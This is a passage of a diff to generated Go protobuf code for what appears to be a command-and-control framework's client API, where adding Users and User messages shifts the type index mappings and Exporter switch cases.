-> clientpb.Session - 43, // 50: clientpb.Event.Job:type_name -> clientpb.Job - 78, // 51: clientpb.Event.Client:type_name -> clientpb.Client - 121, // 52: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 122, // 53: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 84, // 54: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 55: clientpb.Loot.FileType:type_name -> clientpb.FileType - 130, // 56: clientpb.Loot.File:type_name -> commonpb.File - 87, // 57: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 89, // 58: clientpb.Host.IOCs:type_name -> clientpb.IOC - 123, // 59: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 91, // 60: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 128, // 61: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 129, // 62: clientpb.DllHijack.Response:type_name -> commonpb.Response - 128, // 63: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 129, // 64: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 65: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 128, // 66: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 129, // 67: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 124, // 68: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 23, // 69: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 102, // 70: clientpb.Builders.Builders:type_name -> clientpb.Builder - 31, // 71: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 32, // 72: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 4, // 73: clientpb.Credential.HashType:type_name -> clientpb.HashType - 103, // 74: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 110, // 75: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 5, // 76: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 107, // 77: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 125, // 78: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 126, // 79: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 114, // 80: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 127, // 81: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 111, // 82: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 113, // 83: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 112, // 84: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 7, // 85: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 4, // 86: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 9, // 87: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 8, // 88: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 8, // 89: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 10, // 90: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 117, // 91: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 11, // 92: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 118, // 93: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 24, // 94: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 23, // 95: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 81, // 96: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 81, // 97: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 90, // 98: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 99: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 100, // [100:100] is the sub-list for method output_type - 100, // [100:100] is the sub-list for method input_type - 100, // [100:100] is the sub-list for extension type_name - 100, // [100:100] is the sub-list for extension extendee - 0, // [0:100] is the sub-list for field type_name + 14, // 0: clientpb.Users.Users:type_name -> clientpb.User + 130, // 1: clientpb.ImplantCommand.Request:type_name -> commonpb.Request + 130, // 2: clientpb.HistoryRequest.Request:type_name -> commonpb.Request + 16, // 3: clientpb.History.Commands:type_name -> clientpb.ImplantCommand + 131, // 4: clientpb.History.Response:type_name -> commonpb.Response + 20, // 5: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon + 22, // 6: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask + 24, // 7: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 + 0, // 8: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat + 132, // 9: clientpb.ImplantConfig.Assets:type_name -> commonpb.File + 132, // 10: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File + 121, // 11: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry + 26, // 12: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder + 28, // 13: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest + 25, // 14: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig + 132, // 15: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File + 122, // 16: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry + 0, // 17: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat + 33, // 18: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget + 34, // 19: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler + 33, // 20: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget + 36, // 21: clientpb.MetasploitCompiler.Encoders:type_name -> clientpb.MetasploitModule + 36, // 22: clientpb.MetasploitCompiler.Payloads:type_name -> clientpb.MetasploitModule + 39, // 23: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary + 25, // 24: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig + 42, // 25: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile + 45, // 26: clientpb.Jobs.Active:type_name -> clientpb.Job + 130, // 27: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request + 131, // 28: clientpb.NamedPipes.Response:type_name -> commonpb.Response + 130, // 29: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request + 131, // 30: clientpb.TCPPivot.Response:type_name -> commonpb.Response + 19, // 31: clientpb.Sessions.Sessions:type_name -> clientpb.Session + 25, // 32: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig + 132, // 33: clientpb.Generate.File:type_name -> commonpb.File + 130, // 34: clientpb.MSFReq.Request:type_name -> commonpb.Request + 130, // 35: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request + 1, // 36: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol + 1, // 37: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol + 132, // 38: clientpb.MsfStager.File:type_name -> commonpb.File + 25, // 39: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig + 130, // 40: clientpb.GetSystemReq.Request:type_name -> commonpb.Request + 25, // 41: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig + 3, // 42: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 130, // 43: clientpb.MigrateReq.Request:type_name -> commonpb.Request + 130, // 44: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request + 130, // 45: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request + 19, // 46: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session + 78, // 47: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry + 78, // 48: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry + 82, // 49: clientpb.Client.Operator:type_name -> clientpb.Operator + 19, // 50: clientpb.Event.Session:type_name -> clientpb.Session + 45, // 51: clientpb.Event.Job:type_name -> clientpb.Job + 80, // 52: clientpb.Event.Client:type_name -> clientpb.Client + 123, // 53: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 124, // 54: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 86, // 55: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 56: clientpb.Loot.FileType:type_name -> clientpb.FileType + 132, // 57: clientpb.Loot.File:type_name -> commonpb.File + 89, // 58: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 91, // 59: clientpb.Host.IOCs:type_name -> clientpb.IOC + 125, // 60: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 93, // 61: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 130, // 62: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 131, // 63: clientpb.DllHijack.Response:type_name -> commonpb.Response + 130, // 64: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 131, // 65: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 66: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 130, // 67: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 131, // 68: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 126, // 69: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 25, // 70: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 104, // 71: clientpb.Builders.Builders:type_name -> clientpb.Builder + 33, // 72: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 34, // 73: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 4, // 74: clientpb.Credential.HashType:type_name -> clientpb.HashType + 105, // 75: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 112, // 76: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 5, // 77: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 109, // 78: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 127, // 79: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 128, // 80: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 116, // 81: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 129, // 82: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 113, // 83: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 115, // 84: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 114, // 85: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 7, // 86: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 4, // 87: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 9, // 88: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 8, // 89: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 8, // 90: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 10, // 91: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 119, // 92: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 11, // 93: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 120, // 94: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 26, // 95: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 25, // 96: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 83, // 97: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 83, // 98: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 92, // 99: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 100: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 101, // [101:101] is the sub-list for method output_type + 101, // [101:101] is the sub-list for method input_type + 101, // [101:101] is the sub-list for extension type_name + 101, // [101:101] is the sub-list for extension extendee + 0, // [0:101] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } @@ -11672,7 +11803,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ClientLogData); i { + switch v := v.(*Users); i { case 0: return &v.state case 1: @@ -11684,7 +11815,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantCommand); i { + switch v := v.(*User); i { case 0: return &v.state case 1: @@ -11696,7 +11827,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HistoryRequest); i { + switch v := v.(*ClientLogData); i { case 0: return &v.state case 1: @@ -11708,7 +11839,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*History); i { + switch v := v.(*ImplantCommand); i { case 0: return &v.state case 1: @@ -11720,7 +11851,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Session); i { + switch v := v.(*HistoryRequest); i { case 0: return &v.state case 1: @@ -11732,7 +11863,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Beacon); i { + switch v := v.(*History); i { case 0: return &v.state case 1: @@ -11744,7 +11875,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Beacons); i { + switch v := v.(*Session); i { case 0: return &v.state case 1: @@ -11756,7 +11887,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BeaconTask); i { + switch v := v.(*Beacon); i { case 0: return &v.state case 1: @@ -11768,7 +11899,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BeaconTasks); i { + switch v := v.(*Beacons); i { case 0: return &v.state case 1: @@ -11780,7 +11911,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantC2); i { + switch v := v.(*BeaconTask); i { case 0: return &v.state case 1: @@ -11792,7 +11923,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantConfig); i { + switch v := v.(*BeaconTasks); i { case 0: return &v.state case 1: @@ -11804,7 +11935,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TrafficEncoder); i { + switch v := v.(*ImplantC2); i { case 0: return &v.state case 1: @@ -11816,7 +11947,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TrafficEncoderMap); i { + switch v := v.(*ImplantConfig); i { case 0: return &v.state case 1: @@ -11828,7 +11959,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TrafficEncoderTest); i { + switch v := v.(*TrafficEncoder); i { case 0: return &v.state case 1: @@ -11840,7 +11971,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TrafficEncoderTests); i { + switch v := v.(*TrafficEncoderMap); i { case 0: return &v.state case 1: @@ -11852,7 +11983,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExternalImplantConfig); i { + switch v := v.(*TrafficEncoderTest); i { case 0: return &v.state case 1: @@ -11864,7 +11995,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExternalImplantBinary); i { + switch v := v.(*TrafficEncoderTests); i { case 0: return &v.state case 1: @@ -11876,7 +12007,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantBuilds); i { + switch v := v.(*ExternalImplantConfig); i { case 0: return &v.state case 1: @@ -11888,7 +12019,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CompilerTarget); i { + switch v := v.(*ExternalImplantBinary); i { case 0: return &v.state case 1: @@ -11900,7 +12031,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrossCompiler); i { + switch v := v.(*ImplantBuilds); i { case 0: return &v.state case 1: @@ -11912,7 +12043,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Compiler); i { + switch v := v.(*CompilerTarget); i { case 0: return &v.state case 1: @@ -11924,7 +12055,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MetasploitModule); i { + switch v := v.(*CrossCompiler); i { case 0: return &v.state case 1: @@ -11936,7 +12067,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MetasploitCompiler); i { + switch v := v.(*Compiler); i { case 0: return &v.state case 1: @@ -11948,7 +12079,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteReq); i { + switch v := v.(*MetasploitModule); i { case 0: return &v.state case 1: @@ -11960,7 +12091,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSCanary); i { + switch v := v.(*MetasploitCompiler); i { case 0: return &v.state case 1: @@ -11972,7 +12103,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Canaries); i { + switch v := v.(*DeleteReq); i { case 0: return &v.state case 1: @@ -11984,7 +12115,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UniqueWGIP); i { + switch v := v.(*DNSCanary); i { case 0: return &v.state case 1: @@ -11996,7 +12127,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantProfile); i { + switch v := v.(*Canaries); i { case 0: return &v.state case 1: @@ -12008,7 +12139,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImplantProfiles); i { + switch v := v.(*UniqueWGIP); i { case 0: return &v.state case 1: @@ -12020,7 +12151,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RegenerateReq); i { + switch v := v.(*ImplantProfile); i { case 0: return &v.state case 1: @@ -12032,7 +12163,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Job); i { + switch v := v.(*ImplantProfiles); i { case 0: return &v.state case 1: @@ -12044,7 +12175,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Jobs); i { + switch v := v.(*RegenerateReq); i { case 0: return &v.state case 1: @@ -12056,7 +12187,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KillJobReq); i { + switch v := v.(*Job); i { case 0: return &v.state case 1: @@ -12068,7 +12199,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KillJob); i { + switch v := v.(*Jobs); i { case 0: return &v.state case 1: @@ -12080,7 +12211,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MTLSListenerReq); i { + switch v := v.(*KillJobReq); i { case 0: return &v.state case 1: @@ -12092,7 +12223,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MTLSListener); i { + switch v := v.(*KillJob); i { case 0: return &v.state case 1: @@ -12104,7 +12235,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGListenerReq); i { + switch v := v.(*MTLSListenerReq); i { case 0: return &v.state case 1: @@ -12116,7 +12247,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGListener); i { + switch v := v.(*MTLSListener); i { case 0: return &v.state case 1: @@ -12128,7 +12259,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSListenerReq); i { + switch v := v.(*WGListenerReq); i { case 0: return &v.state case 1: @@ -12140,7 +12271,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSListener); i { + switch v := v.(*WGListener); i { case 0: return &v.state case 1: @@ -12152,7 +12283,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HTTPListenerReq); i { + switch v := v.(*DNSListenerReq); i { case 0: return &v.state case 1: @@ -12164,7 +12295,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedPipesReq); i { + switch v := v.(*DNSListener); i { case 0: return &v.state case 1: @@ -12176,7 +12307,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedPipes); i { + switch v := v.(*HTTPListenerReq); i { case 0: return &v.state case 1: @@ -12188,7 +12319,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TCPPivotReq); i { + switch v := v.(*NamedPipesReq); i { case 0: return &v.state case 1: @@ -12200,7 +12331,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TCPPivot); i { + switch v := v.(*NamedPipes); i { case 0: return &v.state case 1: @@ -12212,7 +12343,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HTTPListener); i { + switch v := v.(*TCPPivotReq); i { case 0: return &v.state case 1: @@ -12224,7 +12355,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Sessions); i { + switch v := v.(*TCPPivot); i { case 0: return &v.state case 1: @@ -12236,7 +12367,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RenameReq); i { + switch v := v.(*HTTPListener); i { case 0: return &v.state case 1: @@ -12248,7 +12379,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*GenerateReq); i { + switch v := v.(*Sessions); i { case 0: return &v.state case 1: @@ -12260,7 +12391,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Generate); i { + switch v := v.(*RenameReq); i { case 0: return &v.state case 1: @@ -12272,7 +12403,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MSFReq); i { + switch v := v.(*GenerateReq); i { case 0: return &v.state case 1: @@ -12284,7 +12415,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MSFRemoteReq); i { + switch v := v.(*Generate); i { case 0: return &v.state case 1: @@ -12296,7 +12427,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StagerListenerReq); i { + switch v := v.(*MSFReq); i { case 0: return &v.state case 1: @@ -12308,7 +12439,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StagerListener); i { + switch v := v.(*MSFRemoteReq); i { case 0: return &v.state case 1: @@ -12320,7 +12451,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeRDIReq); i { + switch v := v.(*StagerListenerReq); i { case 0: return &v.state case 1: @@ -12332,7 +12463,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeRDI); i { + switch v := v.(*StagerListener); i { case 0: return &v.state case 1: @@ -12344,7 +12475,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MsfStagerReq); i { + switch v := v.(*ShellcodeRDIReq); i { case 0: return &v.state case 1: @@ -12356,7 +12487,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MsfStager); i { + switch v := v.(*ShellcodeRDI); i { case 0: return &v.state case 1: @@ -12368,7 +12499,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*GetSystemReq); i { + switch v := v.(*MsfStagerReq); i { case 0: return &v.state case 1: @@ -12380,7 +12511,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MigrateReq); i { + switch v := v.(*MsfStager); i { case 0: return &v.state case 1: @@ -12392,7 +12523,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateTunnelReq); i { + switch v := v.(*GetSystemReq); i { case 0: return &v.state case 1: @@ -12404,7 +12535,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateTunnel); i { + switch v := v.(*MigrateReq); i { case 0: return &v.state case 1: @@ -12416,7 +12547,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CloseTunnelReq); i { + switch v := v.(*CreateTunnelReq); i { case 0: return &v.state case 1: @@ -12428,7 +12559,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotGraphEntry); i { + switch v := v.(*CreateTunnel); i { case 0: return &v.state case 1: @@ -12440,7 +12571,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotGraph); i { + switch v := v.(*CloseTunnelReq); i { case 0: return &v.state case 1: @@ -12452,7 +12583,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Client); i { + switch v := v.(*PivotGraphEntry); i { case 0: return &v.state case 1: @@ -12464,7 +12595,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Event); i { + switch v := v.(*PivotGraph); i { case 0: return &v.state case 1: @@ -12476,7 +12607,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[68].Exporter 